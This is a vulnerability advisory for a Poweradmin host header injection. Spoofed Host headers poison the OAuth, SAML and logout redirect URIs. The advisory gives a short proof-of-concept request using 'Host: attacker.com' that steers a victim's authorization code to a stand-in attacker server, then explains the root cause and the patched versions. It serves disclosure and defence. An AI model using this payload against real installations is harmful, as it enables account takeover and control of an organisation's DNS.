CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect
Poweradmin trusts the attacker-controlled Host request header when building OAuth 2.0 redirect URIs, letting anyone hijack an admin's authorization code and take over the account without credentials.

The problem
Poweradmin versions before 4.2.4 and 4.3.3 pull the raw HTTP_HOST header into callback URL construction for three authentication flows: OIDC, SAML ACS/SLO, and post-logout redirect. No validation is performed before the value is embedded in the redirect_uri sent to the Identity Provider.
An unauthenticated attacker who can send a request with a spoofed Host header (trivial behind any reverse proxy with proxy_set_header Host $http_host) can redirect a victim's OAuth 2.0 authorization code to an attacker-controlled server. The result is full account takeover with no credentials required.
Because Poweradmin manages PowerDNS zones, a compromised admin account hands the attacker complete DNS control over the organization's domains.
Proof of concept
A working proof-of-concept for CVE-2026-54588 in poweradmin/poweradmin, with the exact payload below.
GET /oidc/login HTTP/1.1
Host: attacker.com
Connection: close
# The authorization request that Poweradmin forwards to the IdP becomes:
# GET https://idp.example.com/authorize
# ?response_type=code
# &client_id=<client_id>
# &redirect_uri=http%3A%2F%2Fattacker.com%2Foidc%2Fcallback
# &scope=openid+email+profile
# &state=<state>
#
# The IdP delivers the victim's authorization code to:
# http://attacker.com/oidc/callback?code=<victim_auth_code>&state=<state>The root cause is in OidcService::getCallbackUrl() (~line 460), where $host is taken directly from $this->request->getServerParam('HTTP_HOST', 'localhost') with zero validation, then concatenated verbatim into the redirect_uri. HTTP_X_FORWARDED_PROTO is used unvalidated for scheme detection too, so both the host and scheme are poisonable.
The same unvalidated pattern appears in SamlConfigurationService::getBaseUrl() via $_SERVER['HTTP_HOST'] (only bypassed when interface.base_url is explicitly set, which defaults to empty) and in LogoutController::getBaseUrl(). PKCE does not mitigate this because the attacker initiates the flow themselves and controls both code_challenge and code_verifier.
The fix already existed in the same codebase: DocsController::getValidatedHost() calls isValidHostname() via filter_var before use. The patch applies that same validated-host pattern to all three authentication flows, and prefers the configured interface.base_url over any header-derived value.
The fix
Upgrade to Poweradmin 4.2.4 (stable line) or 4.3.3 (4.3.x line). As an immediate mitigation on unpatched installs, set interface.base_url in config/settings.php to the canonical deployment URL; this activates the safe configured-URL branch in SamlConfigurationService and prevents header poisoning there.
The OidcService path still requires the code fix.
Reported by mike197312.
Related research
- high · 8.8Poweradmin: API Broken Access Control Allows Non-Admin to Reset Any User's Password
- high · 8.1Poweradmin: IDOR Broken Access Control in DNS Record Edit
- high · 8.1Poweradmin OIDC sub Collation Bypass Account Takeover
- high · 8.1CVE-2026-54593CVE-2026-54593: Pterodactyl Panel Improper JWT Scope Allows Unauthorized File Upload